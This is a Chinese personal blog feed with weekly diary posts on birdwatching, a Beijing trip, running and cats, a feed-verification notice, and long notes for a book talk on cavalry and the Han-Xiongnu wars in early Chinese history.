流畅的阅读体验，合理的订阅分类，众多的独立博客作者，大量的优质订阅源，读者与作者之间的互动，无不让我第三次感动。

一瞬间，我感觉我又活过来了，曾经被压抑的表达欲望，曾经对自己的种种质疑通通烟消云散，我相信我是可以坚持写下来的。

是为本周报序

打鸟🐦打鸟🐦打鸟🐦打鸟🐦

早上6点15左右起床，简单洗漱后就直奔深圳湾。

第一次接触到打鸟的乐趣，遗憾的是腾龙28-200能拍到的实在是太有限了

深圳湾，早上7点左右的天空，太阳刚刚从云层中探出来，远处的天空中有淡淡的红光，这四只小鸟的飞行动作，让我疑心是不是一只鸟的慢动作回放😂

朋友说这种副厂的镜头有两种做法，一种是优先照顾广角，像腾龙28-200就是这样，一种是优先照顾长焦，并且疯狂安利腾龙的50-400，好吧我又想买镜头了😅

不过天鹅湖倒是非常值得一去，咔咔咔一顿拍，结果发现拍的都不咋地.. 勉强放几张能看的吧：

鸟事一堆！超崩溃鸟类观察笔记读书会

第一次接触到“观鸟”这个稍显小众的爱好，感谢见夏学姐的提议，让我深深入迷了

喜欢观鸟的朋友都会给自己起个自然名，比如这次的讲师就叫山羊， “见夏”这个名字也是来源一种植物

这确实是一本特别有意思的书，作者手绘了许多鸟类，并且在书中给它们取了好多有趣的别名

书的封面：

作者画的小鸟太有趣了哈哈：

一些值得分享的记录

文章：

介绍了很多mac上的工具，非常全面，我都是头一次知道Apple notes可以安装插件来写markdown的 https://blog.ursb.me/posts/mac-app-share-2024/
介绍follow的使用，非常全面了，可能我也会写一篇类似的吧 https://www.pseudoyu.com/zh/2024/11/04/follow_information_acquisition_revolution/
作者介绍了他面试Google的经历 https://justyy.com/archives/66293
一道非常有意思的社工题目，最后一个脑洞是遍历pastebin链接的最后一个字符 https://hackmd.io/@c2uru/HJznxU6eyl

视频：

王局终于还是出错了，回旋镖打回来了，但作为合格的媒体人，马上发视频道歉，并且还要直播道歉，对于指出他们错误的人还发放奖品 https://www.youtube.com/watch?v=xMZqTuLWSA4

追剧：

最近在看《诊疗中》，我特别喜欢的一部喜剧 http://movie.douban.com/subject/36305116/

音乐：

sasha的《Me Again》专辑，百听不厌，虽然每首歌的曲调风格都比较相似，但这就是sasha最真挚感情的流露https://music.163.com/song?id=2135385131

更多分享可以加入我的频道：https://t.me/RayeJourney

认证follow作者

Tue, 05 Nov 2024 00:00:00 GMT

认证follow作者

This message is used to verify that this feed (feedId:41342818708527119) belongs to me (userId:41336155791057920). Join me in enjoying the next generation information browser https://follow.is.

周报31 北京之行、跑步与猫片

Sun, 04 Aug 2024 00:00:00 GMT

周报31 北京之行、跑步与猫片

写作不同，写作需要先有个想法。为了把这个想法表达出来，一个人不得不围绕着这个想法自己和自己争吵，自己和自己辩论。话语随口而出，随风而逝，然而文字却要落在纸上，所有人都隐隐约约知道，文字可能是自己的另外一张脸，需要慎重对待。

—— 和菜头

我发觉欠的内容实在是太多了，这其中又有太多残留在我记忆中的种种过往，有与不同人的时空交错，有与这个世界的诸多互动，有太多值得我去仔细思考的会回忆。

我好像一直愿意相信平行宇宙的理论，相信此刻的当下无非是由我的选择所展开的多维宇宙在此刻的一处投影罢了。最近也刚好看到了一部美剧《Dark Matter》，讲述的就是多维宇宙的故事

如果你习惯于漫威宇宙中对多维空间的描写，其中的主角穿梭到不同时空之后，仿佛跟没事人一样，还能顺原路找到自己的家，周围的人事物也都没有任何变化

那你就大错特错了，真实的多维宇宙远没有那么简单。《Dark Matter》是改编自同名小说《人生复本》，由于美剧节奏太慢了，于是我先把小说看完了。

本以为穿梭平行宇宙是一个很简单的事情，但你要知道不仅仅是你此刻的选择影响了，他人的众多选择也会导致这个世界发生很大的变化。主角前几次穿梭的世界几乎都是末日景象，哪怕在他掌握了穿梭的秘诀之后，也几乎难以回到只被自己选择所影响的那个当下。

这才是真正的多维宇宙啊，莫要以为真有什么后悔药，哪怕真的有也得历经千百次的尝试。

所以好好记录当下吧~！

北京之行

距离高中去北京旅游过之后，算是时隔多年再一次来北京了，不过此刻我已经不再是当时那个懵懂的高中生，因为这一次是来出差的。

如果要深入一个行业，当然是要去见识其中的每个人。我们此次的出行就是抱着这样一个目的，去和微信小游戏的开发者们做一次深入交流。

给开发者介绍我们的能力，科普常见的问题，介绍最优的解决办法与最佳实践，同时感受开发者们的热情，解答他们的困惑。

但我对于北京还是很抵触的，高中的那次旅途现在想起来都有点好笑，在北京的六天就没有吃一顿好的，完全不符合弗兰人的口味。又想起了辅导员在我们出发之前的聚餐上说的，这可能是你们这次北京旅途吃的最好的一顿了，辅导员真是诚不我欺啊hhh。

于是在北京几乎不敢独自去任何地方吃饭，中间也和一位老同学及一位在阿里工作的同事吃过一次饭，要么北京烤鸭要么羊蝎子了。在北京，敢于随机选择一家餐馆吃饭的人才是真的勇士。

开发者大会结束之后居然还空出一天，但是北京的常见景点，如天坛，颐和园，故宫，毛主席纪念馆，博物馆，长城等基本都去过了，于是也没有心思去，本想着要么去一趟首都图书馆待一天来着，但还是跟随导师一起去了一趟圆明园参观下。

晚上则去了一趟罗刹海，一个不算太大的琥珀，感受下北京弄堂的悠远，见识下王府的恢弘大气。

整个北京之行感觉并没有给我留下太多的深刻印象，尽管是一座历史古都，但其在我心中的地位却远不及西安洛阳南京等。

收获最大的是读完了一本书《三国前夜：士大夫政治与东汉皇权的崩解》 https://book.douban.com/subject/36699839/

跑步与专注

为了减肥，真的是为了减肥，在羽毛球教练的建议下，开始了每天早晨的空腹有氧跑步

最开始坚持起来还是挺难的，毕竟跑步也中断了一段时间了。

以前跑步是喜欢横冲直撞的，上来就马力开足，跑步机时速直接干到11、12，开始狂奔。

但很快就坚持不下来，坚持跑个五分钟已经是极限，于是只能减速到6，开始慢走喘气，等到体力堪堪恢复一段又开始狂冲。

但我觉得有必要稍微调整下，于是就保持9km/h的速度，试试能不能坚持跑半小时。

本以为是一件很轻松的事情，毕竟11km/h都可以跑，9km/h不是小菜一碟吗。

但很快你就发现，坚持匀速跑步，才是一项更大的挑战。

刚开始跑的时候自然觉得没啥，甚至觉得速度还能再上去，但奈何被跑步机限制了，于是只能慢下性子。到后期又发觉体能跟不上去了，此时又不能减速。

于是开始领悟到，如果我能坚持匀速跑下来，应该对体能有很大的改善。

目前已经坚持跑了两个月了，6月跑的比较勤，7月因为北京出差的关系则中断了一些。

猫片

不多说了，猫猫真的好可爱，虽然不是我养的（下午去川鸽家一起拍猫猫）

一些值得分享的记录

欢迎 join 我的频道，https://t.me/RayeJourney

南北战争三百年：中国4—6世纪的军事与政权读书分享

Sat, 03 Aug 2024 00:00:00 GMT

南北战争三百年：中国4—6世纪的军事与政权读书分享

ppt参考：

https://gamma.app/docs/-h164hf9xsdor2t8?mode=doc

引入正如我在对这本书的介绍中写到，你有没有发现，无论是复联中的超级英雄，还是在电子游戏中，主角往往都偏爱使用冷兵器.

明明科技都那么发达了，千里之外一发导弹就能解决的事，还要嘿嘿哈噫乱打一通.

刀枪剑戟，策马扬鞭。所谓的“冷”兵器，反而最能让人热血沸腾.

封狼居胥和勒石燕然的威名依旧威震四方，暗度陈仓与六出祁山仍然在不断假设与探讨中被演绎，南征与北伐，在这片土地的千年历史中一次又一次被不断重复.

我一直很想分享一本关于历史的书，但又怕深陷于繁杂的细节中难以抽身。主要是害怕被大佬们挑战到，总觉得自己积累的不够。去年11月的时候，我也是在1803会议室，分享过一本《夜晚的潜水艇》，那是我当时觉得写的特别好的一本小说。今年呢，我想尝试下挑战历史题材，我不太喜欢那种中规中矩的去介绍某个朝代，政治、经济、文化、军事这些这些

其实是我不太喜欢宏观视角的叙事，我更喜欢从一个侧面，或者从一个人物入手去思考历史，这也是我会和大家讨论的，就是你怎么去看历史，你更喜欢宏观叙事还是微观叙事

补充：我还记得曾经上学的时候，语文老师让我们轮流分享魏晋时代的名人，我的同学们当然都是介绍阮籍啦、嵇康、向秀这些人物，但我后来实在是不想这样循规蹈矩，于是我就从世说新语中受到启发，我分享的内容是这些名人儿童时候的经历，都说三岁看大，七岁看老，魏晋时代那些风云人物，他们的孩提时代，其实也有很多精彩的故事，从这些故事中，也可以看出未来他们的性格特点

于是思来想去，我就挑了李硕老师的这本《南北战争三百年》，他提供了一个很棒的视角，让我们可以地理与战争为切入点，探讨历史演化的本质。而这正好是我最喜欢的

关于作者

李硕老师，其实如果说名字的话大家可能不一定很清楚，但如果说《翦商》的话，可能很多人就知道了。他是清华大学的历史系的博士，《南北战争三百年》其实是出自他的博士论文修改而来的，他最开始是写了一个短篇历史散文，讲的是刘裕北伐的故事，原文链接其实我分享过，那种他独有的散文风格，让我一下就喜欢上了他的书

https://book.douban.com/review/9236601/

马伯庸马亲王也是一位特别擅长写历史的作家，如果说马伯庸写历史是挖掘边角料再辅以天马行空的想象，那么李硕老师则是从学术分析的角度抽丝剥茧，加上严谨的考据和推理。但得益于他散文式的笔法，读起来却并不枯燥，这也是促使我来分享的动力

关于我

我的话呢，也不用说太多，因为在分享之前，群里就已经在开始在各种期待了，大家叫我raye就好了。关于我的标签呢，是一个典型的ENFJ-A人，羽毛球二级左撇子选手，就是比一般路人稍微厉害点，还是个左撇子。也可兼职做心理咨询师，虽然我并不是这方面相关的，但是确实有很多朋友说跟我聊过之后收获很多，可能得益于我本身是一个比较乐观的人吧

另外我也是一个经常失眠，然后失眠就喜欢胡思乱想的人，就像伍尔夫《墙上的斑点》一样，我的思维经常是跳跃性的，意识流的，所以如果你去看我的博客，里面记录的全是我胡思乱想的一些东西

嗯对，程序员似乎都喜欢倒腾一下博客，我也是从上大学开始的，中间陆陆续续更换了好几个站点，不过现在就稳定下来了，域名就是这个，后面的文稿、ppt也都会放在博客里。哦如果你也想跟我交流下写博客的东西，也欢迎找我

最后是介绍一下我的阅读经历吧，本来不太想放的，感觉有点制造焦虑，但我觉得有必要给自己增加一点背书，因为我基本只用微信读书看书，纸质书看得很少，所以时长比较长，然后又特别喜欢阅读历史相关的，欢迎和我一起探讨历史

问题引入

介绍了这么多，我们先来看几个问题吧，应该不是挺难，这里主要是让大家热热身，提前熟悉下历史

1.中国王朝的更替顺序，秦汉三国两晋南北朝隋唐宋元明清，我们这次的历史跨度涉及主要是隋唐之前，即秦汉三国两晋南北朝 2.先秦至南北朝有哪些著名的战役

这个挺多的，包括春秋战国时马陵之战，桂陵之战，长平之战，官渡之战，赤壁之战，夷陵之战等等

3.先秦至南北朝有哪些著名将领其实武庙十哲已经基本囊括了，田穰苴，杀神白起、韩信、张良、诸葛亮等等

好，那我要讲什么呢？因为从介绍到这次分享会开始也只有一周的时间，相信很多人也不一定能看完，不过也无所谓了，我讲的内容不一定完全按照书里的来，大家听我讲就好

主要是这几个大的问题： 1.骑兵作战技术从先秦到汉再到三国两晋南北朝的革新与演化 2.古代中国地理环境对于冷兵器战争的影响 3.经典的几场南北战争（北伐为什么那么难！）

以及一些小的讨论点： 1.李广难封的原因 2.真实的骑兵冲锋是怎样的 3.马镫是什么时候发明的

为什么好奇冷兵器

提到冷兵器战争，可能会有个问题，也就是我们最开始提到的，为什么会好奇冷兵器呢？为什么即便是武器装备已经发展到了如今，还是有很多军事迷、电影、游戏都要去展现冷兵器的魅力呢？

其实这就有点像蒸汽朋克一样，人永远是被一些能理解，能看到的事务所着迷，千里之外一发导弹命中确实很爽，但你看不到，你感知不到，这个过程太快了。但冷兵器不一样，有书友跟我说，这是为了方便做特效啊，对，因为冷兵器打得慢，打得慢就容易融入一些元素，可以做很多的特效

提到冷兵器战争呢，其实古诗上面也有很多记载，不知道大家能想到多少，我这里随便列举了一些

一身转战三千里，一剑曾当百万师
将军金甲夜不脱，半夜行军戈相拨，匈奴草黄马正肥，金山西见烟尘飞
想当年，金戈铁马，气吞万里如虎
梦里挑灯看剑，梦回吹角连营，八百里分麾下炙，五十弦翻塞外声，沙场秋点兵

迄今为止，对于冷兵器战争场面还原的最到位的，还是全面战争系列，其中最贴合我们理解的，就是《全面战争三国》，我在后续也会多次引用到这款游戏

认识古代中国

好，既然要在这片土地上打仗了，那不认清楚这片土地又怎么行呢。中国的地理其实很复杂，算是地球上地理多样性最丰富的国家了吧，感觉没有之一

我们学地理那会，都知道中国有四大高原、四大盆地、三大平原这些，但对于古代中国人的认知范围来说，还远没有这么深，

隋唐之前，我们的核心版图基本局限于如下地区，向北最远抵达燕山，即燕云十六州，向南最远抵达南海，即古交州，也就现在的广州，但由于太过偏远了，是不参与中原争霸的，所以我们的最南其实就只抵达南岭了，即现在湖南裕广州的交接处

插个题，马伯庸马亲王的新书《食南之徒》就是讲的在汉朝，广州这块土地上发生的故事

那么在古人眼中的中国，其实刚好能构成一个类似九宫格的存在，为什么说是九宫格了，因为刚刚好每个版块就占据了一个格子

这是我自己的认识哈哈哈，但是很容易理解

我们知道中国按照秦岭——淮河是可以分为南北的，南北分界线上刚好分布着三个地理单元，然后北方和南方又可以再分别拆出三个地理单元

来依次看，从九宫格的左边看起：左上：关中+晋中，也就是春秋战国时的秦国和晋国，也即如今的陕西省中部北部加上陕西省左中：汉中盆地，自古汉中为蜀中之咽喉，因此汉中经常为关中与四川盆地的缓冲区，谁拥有了汉中，谁就拥有了用兵的前沿阵地（所以刘备拼死也要把汉中拿下来）左下：四川盆地，自成一体

中上：华北平原，即古代的冀州，三国时袁绍据有此地中中：南阳盆地，同样是北方和南方的前沿阵地，其中襄阳为天下之咽喉，金庸小说中《神雕侠侣》中的郭靖和黄蓉，就是在此死守襄阳，抵御蒙古人的入侵中下：江汉平原，古代楚国的大后方

右上：山东半岛，即古代齐鲁大地右中：江淮平原，古徐州，淮河流域，合肥，孙权快乐城就位于此，所以知道为啥孙权一定要死磕合肥了吧，为什么守江必守淮！右下：长江下游的两个平原，鄱阳湖平原和太湖平原，古扬州

如果一下无法消化也不要紧，主要是留一个初步的印象，后面在讲实际战争的时候也会结合来讲

认识马

了解了古代中国的地理环境之后，再来认识生活在这片土地上的一种动物，即马

马这种生物比较有意思，我还记得小时候看过的《虹猫蓝兔七侠传》里，每一人都能骑马，连卧底马三娘，她自己就是马也能骑马哈哈哈

马的特点不用多说：

体型健壮
耐力强
速度快
适应性高

但是马也有很多缺点，其中一条就是饲养成本高，这玩意特别糟蹋，要不停的吃和拉，而且拉出的粪便会污染土壤，不像牛，又能耕作，又能施肥

农业民族是很痛恨马的

讲到马这里的时候了，自然离不开后面的骑兵，但我们要知道，马其实并不是能一直跑的，马奔跑的时候有几种形态，是按照马蹄子的腾空来划分的

现代马术中，马的运动主要分为几种不同的形态：

步态（Walk）：这是最慢的步态，四脚依次接触地面，每次有三蹄在地面上。步态稳定、平缓。
小跑（Trot）：小跑是一种较快的步态，马以“二步一组”的节奏移动，即两脚对角线成对地离地和着地。这种步态需要一定的平衡和节奏感。
快跑（Canter或Lope）：快跑是一种快速且平滑的步态，马的三蹄轮流接触地面，有一个明显的悬空期。这种步态通常在马术比赛中使用，要求马具有良好的协调性和力量。

4.疾跑（Gallop）：疾跑是马的最快步态，四蹄轮流接触地面，也有明显的悬空期。疾跑用于最高速度的奔跑，通常在赛马和一些速度要求的马术比赛中看到。

但马这货就不一样了，这货一直吃，一直拉，一头一尾从来不闲着！

有句话叫做“马不吃夜草不肥”，就是说马这货得特么连轴转的吃才能胖。

你能吃就算了，更可恨的是，马粪酸性还大，不仅不能起到好肥料的作用，还祸害地！还特么随时随地的各种拉！

一句话来形容，这货的能量转化水平极低还特么糟蹋土地！养活一匹马的草场大约能养活几十只羊，看看人家喜羊羊多么可爱！

而且马如果你想骑的话，是需要煽的（宫刑），不然马爷那脾气您根本上不去，轻轻松松踢死你。

必须要在小马两岁的早春左右实施宫刑，随后还要有专业的遛马等一系列恢复手段。

这就意味着为了让你能被骑我还得专门派个劳力去伺候你，我那地咋办！再说田间地头就那么两步道，谁家烧的骑马下地干活啊！所以不是说中原不能大规模养马，而是谁家也不至于败家到大好的土地和人力去养这么一帮败家玩意！道理换算到游牧民族那其实也一样，他们也不愿意养这货，只是没办法，有打狼和迁徙以及放牧的刚性要求。游牧民族养马群时也是由马倌将马群赶到草场不好的地方去单独管理的。

认识打仗打仗究竟是打什么呢？难道真的就像三国演义里面说的，两位大将先单挑个三百回合？然后获胜的一方带着小兵一路冲杀过去，就打赢了

其实不然，打仗打的士兵的士气，士气崩了，人心散了，队伍就不好带了。你不要以为，我自己拼死战到最后，就能获胜了，其实大部分时候，很多士兵是不情愿上战场的，毕竟家有妻儿老小，所以能跑就跑，五十步笑百步，还真不是开玩笑的，连我们的杰出的政治家管仲，不也当多很多次逃兵吗

所以历史上才能屡次出现以少胜多的战役

当然打输了也不意味着人都死光了，只是你的队伍散了，很多士兵走散了，所以经常会出现主将收拢残兵，继续作战

不过，冷兵器战争确实挺残酷的，曾经在知乎上看到过一个问题，底下有个回答，说的时”春燕归，巢于林木“

这句话其实是很耸人听闻的，你开始看觉得没什么，好像就是写景啊，春天来了，燕子都在树林里筑巢

但细想下来你就会觉得不对劲，其实燕子是倾向于在居民的屋檐下筑巢的，那为啥燕子都在树林里呢？是因为人都死光了，连房屋都全部被烧毁了

这还是记录的比较文艺的，更多的则是人相食

春秋车战

如果说打仗算是们艺术的话，那也只能是春秋时候了，我们知道，礼乐射御书数，这是君子六艺御，骑马，驾驶战车冲锋，这是君子必须要掌握的技能。

所以春秋时候的战争，还是更多的大家商量好地点，约一场架，打赢了的一方也不会赶尽杀绝

来感受一下骑兵冲锋的魅力吧 https://www.bilibili.com/video/BV1a3411T72v/?spm_id_from=333.337.search-card.all.click&vd_source=15a2dc392ee5cfd2402320bee219d8e3

骑兵作战技术的演化早期骑兵：骑射技术匈奴人则是最擅长骑射的，他们从小就生活在马背上

司马迁记载： "儿能骑羊，引弓射鸟鼠；少长则射狐兔：用为食。士力能毌弓，尽为甲骑"

匈奴的战法也很有意思， "故其战，人人自为趣利，善为诱兵以冒敌。故其见敌则逐利，如鸟之集；其困败，则瓦解云散矣"

说的是匈奴人单兵作战都很猛，进攻的时候像一群鸟一样，撤退的时候呢又像云一样快速散开

春秋战国时候的兵种：步兵与骑兵，当然还有一个车兵如果要追溯到骑兵的起源，想必很多熟读历史的朋友可能就要脱口而出：赵武灵王胡服骑射！《史记 · 赵世家》中记载： "今吾将胡服骑射以教百姓，而世必议寡人，奈何?"

赵武灵王顶住了巨大压力，在赵国范围内推广胡服骑射，身体力行战国时赵国所处的位置大抵是今山西及河北部分，它一方面要承担抵御匈奴的任务，另一方面要帮助山东六国抗衡秦国，其压力是可想而知的

注意此时的骑兵本质为骑射手，即边骑马边射箭，那有人就要问了，射箭就射箭呗，为什么非要骑马射箭？

可以先看一段视频，看看步兵是如何对阵骑射手的【正确的骑兵打步兵方阵的办法，终于看到阵战了，阵型，对阵，专业。看了那么多古装剧战争场面，其他的基本上只要是打仗一上来就是打烂仗。】 https://www.bilibili.com/video/BV1dz4y1k7NF/?share_source=copy_web&vd_source=eb74eb1e105cb306ab17818712e795b8

这个视频里面评论总结的很好了，这里就是赵国骑兵对阵秦国步兵 1、秦国步兵是防御阵型，盾手在前，矛戟在后，末尾是弩手，阵线弧形分布是为了最大可能避免骑兵侧面梯形切入阵线，而把防御阵型下的受保护的弩手和矛戟近其的可能夹在中间以保全。

2、赵国骑兵有胡服骑射的典故，自武灵王改革以来尤善骑射及迂回作战，尤以短弓快马，秦卒追不得赶不上防不住，所以基本盘秦卒就是在挨打的阵势，并且挨打不是挨打就完了，战场上进行职业战争中，可以打不过，但深知逃不掉的时候，战尽最后一兵一卒也只是为了苟延残喘拖延时间，待得以逃脱生还的机会，最终在大部队有效驰援下，部分秦卒得以苟全性命。

3、秦国步卒防御变阵也是为了应对赵国骑兵军阵尽出由整体化为小股游射而化为多个小阵型多方位防御，主要目的像如上所述，就是为了能死的慢点，尽可能拖延时间，苟全一时之机。

4、骑兵游射最佳方案是包围目标阵型，不断游击绕行，以弓弩之利四面八方重围为机，消耗敌方人手，最终瓦解敌方阵势，在敌人显现出疲态和人员散乱下可以一鼓作气进行冲击阵型尔后分割敌人开始歼灭屠杀。

骑射的威力，借用王者荣耀的英雄来打比方，就像后羿、鲁班这种短腿英雄开了疾跑，可以不断地风筝敌人，让需要近身攻击的战士，即普通士兵难以靠近

但秦朝开国之初，此时匈奴部落还未统一，没有一个强有力的政权来领导各个部落，因此蒙恬才能“却匈奴七百余里，胡人不敢南下而牧马”

这里有一个比较有意思的，即秦朝的统一反倒促进了匈奴部落的统一，为什么呢？战国时北方边境分别是秦、赵和燕。匈奴人可以在这三个国家之间分别贸易，市场还未统一，因此这一家价格不好就换另一家

但是随着秦朝建立，匈奴人突然发现，怎么突然价格都是一个了，怎么还有一道长城全部连起来了

”却匈奴七百余里，胡人不敢南下而牧马“

长城这么矮究竟能拦住什么？

在提到汉匈对决之前，我们有必要先了解一下长城。“乃使蒙恬北筑长城而守藩篱，却匈奴七百余里” 我们一提到长城，就会想到这个：

但实际上，大部分长城是这样的，实际上就是土墙。这道短短的土墙根本就拦不住人，但是拦得住马，游牧民族所依仗的就是高机动的马匹。长城的第一个作用就是拦住匈奴人的马，你进来了但是没有马，那你面对的就是成建制的中原步兵，想都不用想，根本打不赢

但是游牧民族还是可以毁掉这座墙，如果是十万人规模的入侵，当然可以，三下五除二就没了这时候长城的第二个作用就出现了，它会迟滞你的入侵。

在匈奴人拆除这道土墙的功夫，入侵的信息早就被一道道预警系统传到了中原内陆和沿线长城。人家可以从容的坚壁清野让你扑空并调人来堵你。战国时候赵国名将李牧就是靠这种方式来让匈奴人毛都抢不到

所以在战国时候，由于秦、赵、燕三国的长城并没有完全连成一片，因此匈奴人还是有空子可以钻的另外他们也可以和秦、赵、燕三国互相battle，进行边关贸易

但是紧随着秦王扫六合，长城的第三个影响，也是最为深远的影响出现了，它连起来了

连起来了，也就意味着匈奴人有一天突然发现，这道万里长城，居然没有一点缝隙可以钻？而且对面本来不是三个国家吗，怎么突然变成了一个国家？连谈判的资格都没有了，人家反倒是借此垄断起来了，恐怖的经济封锁开始了。

这就好比美国联合世界上所有的国家抵制中国和俄罗斯，这时候中俄就只能团结在一起背靠背

于是游牧民族也不得不开始报团取暖，因为不报团，就活不下去了

因此从某种方面上来说，秦朝的统一，也促成了匈奴人的统一，这就是为什么，汉帝国和草原上的匈奴帝国，几乎在同一时间建立了

最早的骑兵冲锋我们知道赵武灵王胡服骑射也只是学习匈奴人的骑射，冲击骑兵真正大规模应用要等到卫青和霍去病，这个我们在后面讲

但其实在楚汉相争之时，项羽可以说是第一位将骑兵大规模用在正面战场上的将领了，这一点连韩信都比不上，韩信在他的成名之作，背水一战中，所率领的骑兵也只是起到骚扰和奇袭的作用

话说刘邦在韩信的指挥下，明修栈道暗度陈仓，重新获得关中的地盘，于是东出函谷关，一路上带着号称60w的兵马只捣项羽的老挝彭城

此时项羽呢，正忙着在齐国平定叛乱，听到自己的老窝被别人给端了，一下子愣了，这个刘邦不是被我一脚踹到四川去了吗，怎么这么快就打出来了

这时候你是项羽你也会犯难，救吧，这边平叛的兵力就不够了，不救的话自己的老窝又没了

而在项羽愣神的功夫，刘邦已经攻下了彭城，开始开party了项羽最终决定，留下一位大将继续在齐国平叛，自己亲率3w骑兵，绕了个圈，没有走最近的沂水，3w骑兵直接攻破了刘邦手下樊哙的防线，直接就要冲到刘邦脸上来了

刘邦此时的心情就像蒋委员长一样，“你们都干什么去了？”（只不过教员四渡赤水直逼贵州是将军抽车，项羽打刘邦这个就是几乎要一步杀了）

后面的事情就不展开了，总之刘邦抛妻弃子，最终在荥阳才稳固住防线，行程楚汉对峙的局面

史记记载：

“项王乃西从萧,晨击汉军而东,至彭城，日中,大破汉军。”

以及我们所熟知的，司马迁记录项羽最后的垓下败亡时刻

今日固决死，原为诸君快战，必三胜之，为诸君溃围，斩将，刈旗，令诸君知天亡我，非战之罪也。”乃分其骑以为四队，四向令四面骑驰下，期山东为三处。於是项王大呼驰下，汉军皆披靡，遂斩汉一将

汉朝初年的窘境汉初可以说是百废待兴，好巧不巧的是，由于秦始皇的长城大业，迫使匈奴人，在和汉朝建立几乎同时，也形成了自己的草原帝国

而我们此时的汉高祖刘邦，就想来试试这个未来的敌人，看看实力咋样，果不其然，御驾亲征，在白登山被围了。史称白登之围

自此直至汉武帝，汉朝一直都是能忍就忍，毕竟马匹资源不够，你这边步兵刚赶到，人家匈奴那群飞车党，已经抢完一把就跑了。你说这怎么打

其实汉景帝之时，汉朝已经足够富裕了，但还是打不赢匈奴，为什么呢？这就要讲讲骑射为何呢么这么难了

骑射为什么难？

李广在一次出征匈奴的时候，只带了一百名左右的骑兵，突然遇见匈奴大军，此时李广说道： "广之百骑皆大恐，欲驰还走。广曰：“吾去大军数十里，今如此以百骑走，匈奴追射我立尽。" 因为匈奴人从小就在马背上长大，因此他们的骑射技术是天生的，而骑射手本身就在于灵活性

而汉朝初年，马匹数量有限，甚至都只能坐牛车，更谈不上在马背上还要射箭了那么在马背上射箭就那么难吗？难，确实很难，在马镫发明之前（关于马镫的故事后面会讲到）

难在哪里？随便说几个 1.上马 2.坐稳 3.拉弓瞄准 4.保持平衡

如果不是天生就在马背上的匈奴人，

汉朝当然也有，被司马迁捧上天的李广就是骑射高手，他所带领的部队也和匈奴人一样，没半点组织纪律

汉匈战争：冲击骑兵的诞生司马迁的局限性

虽然司马迁很伟大，人固有一死，或重于泰山，或轻于鸿毛，司马迁的死是比泰山还重的但奈何人都有自身的局限性，司马迁对于卫青霍去病的记录是少之又少，甚至连我们的初中历史课本，对于卫青和霍去病的贡献也只是简单的记录了下

卫青与霍去病

还是要来介绍一下卫青，卫青的姐姐是卫子夫，卫子夫是汉武帝宠幸的妃子，所以卫青算是汉武帝的姐夫。

而卫青呢，其实是一个私生子，嗯没错，霍去病也是一个私生子。

卫青、霍去病，这俩中国历史上的最强外戚天团，将步兵的战阵用于骑兵，开创了冲击骑兵的先河

汉武帝是如何解题的

好了，如果你是汉武帝，面对匈奴的难题，你手下有两位SSR级的武将卫青和霍去病，还有一位探险家张骞帮你开图，你要怎么去解这道题呢？

我们先来看汉朝的边防线：

注意，此时的河套地区（黄河百害，唯富一套），秦始皇曾经让蒙恬收复此地，但后来楚汉相争，这块底盘又被匈奴人控制了

前面已经说了，每次匈奴人来进攻，汉朝就派军队去守，但是等你人到了，匈奴人早就跑的没影了

汉武帝想要改变这种现状

对照实验

既然手下有一堆将领，那就出击试一试，看看

其实也是做实验，经过前几代的积累，到他这已经有钱了

汉武帝算是精心挑选了这四个人，既有经验丰富，多次出征的李广，也有年纪轻轻的卫青第一次出击，他分别派遣四位将领，卫青出上谷，公孙贺出云中，公孙敖出代郡，李广出雁门，各领一万骑兵

最后的结果是：结果这一轮对照实验下来，卫青获胜，甚至于在这时候，卫青就已经探索发明了突骑战法

补充：冲击骑兵的物理学规律

主要涉及到两条物理学规律 1.E=1/2mv2 即速度越快，动能越大 2.v相对=v1-v2 相对速度

我们还记得匈奴人的战法吗？利则进，不利则退，不羞遁走。人人自为趣利，善为诱兵以冒敌。故其见敌则逐利，如鸟之集；其困败，则瓦解云散矣。

人家一看不对，第一反应是跑！是保自己的这条命！他们并没有中原政权那种拢住步兵方阵不被你冲垮的纪律性！而纪律性这点，在中原民族千百年来的练兵方法指引下，根本不叫个事

收复河套地区

果不其然，匈奴开始报复了，派大军再一次入侵上谷、渔阳等地如果是你，你会派卫青去防御吗？这一次汉武帝忍不下去了，好，既然你打这边，那我就打你的白羊部

为什么不让卫青率军直接从长安北上呢？而是要先绕道雁门郡，再折而向西？因为直接向北只能起到赶的作用，匈奴人是可以往北撤退的，没办法一次性歼灭敌人有生力量

这一战，直接让卫青收复了河套地区，从此成为抗击匈奴的前线

开图找盟友这里就不细说了，其实就是派遣张骞出使西域，看看大月氏人愿不愿意一起抗击匈奴当然大月氏人早就跑了，但是汉武帝得知，原来在广袤的西边，还有三十六个国家在不断地给匈奴输血

这还得了，于是下一步自然而然的，打通河西走廊，联合西域诸国的方案开始提上日程

河西四郡收复河西走廊之战的示意图如下，这一战霍去病19岁...大漠扬威

汉武帝为了防止在攻打河西走廊的时候，左贤王过来参战，于是派遣了李广和张骞先去进攻，但是张骞迷路了...不过好在李广毕竟是飞将军，面对四倍于自己的兵力硬是扛过来了

单于本部此时远在漠北，但也得知了消息，于是南下骚扰，不过被汉军抵挡住了

左路的公孙敖也迷路了..霍去病则是千里奔袭，翻过贺兰山，再穿越大沙漠，最后到达河西走廊的尽头，这都没迷路，只能说牛13了

于是反向秃噜一遍，斩首匈奴人三万，彻底收复河西走廊，汉武帝置酒泉、武威、敦煌、张掖四郡，是为河西四郡（不得不说，汉武的命名是真的好听）

时间规律分析除了上述说的几场大规模战役之外，中间还有数次小规模的侵略与反侵略。这里列举一些记录：

其明年秋，匈奴二万骑入汉，杀辽西太守，略二千馀人
其秋，匈奴又入雁门，杀略千馀人。
其秋，匈奴万骑入杀代郡都尉硃英，略千馀人
其秋，匈奴大入定襄、云中，杀略数千人，败数二千石而去，

从上述记录你有没有发现一个问题，怎么tmd匈奴都是秋天来打呢？这里这只是表象，深入分析后你就会发现，因为春夏是此时就对了，来看汉武帝数次派遣将领出征匈奴的时间

其明年春，汉以卫青为大将军，将六将军，十馀万人，出朔方、高阙击胡
其明年春，汉复遣大将军卫青将六将军，兵十馀万骑，乃再出定襄数百里击匈奴
其明年春，汉使骠骑将军去病将万骑出陇西，过焉支山千馀里，击匈奴，
其明年春，... 令大将军青、骠骑将军去病中分军，大将军出定襄，骠骑将军出代，咸约绝幕击匈奴。

封狼居胥！漠南无王庭！

最后这一战没啥好说的了，总之就是匈奴人已经被打蒙了，从此漠南无王庭！但也就是这最后一站，李广自杀，飞将军陨落！

这就是汉武帝面对匈奴难题的解决历史是演化的，不是一蹴而就的，很多以事后诸葛亮来看的问题明明很容易解决，但放在当时那个环境就是想不出来

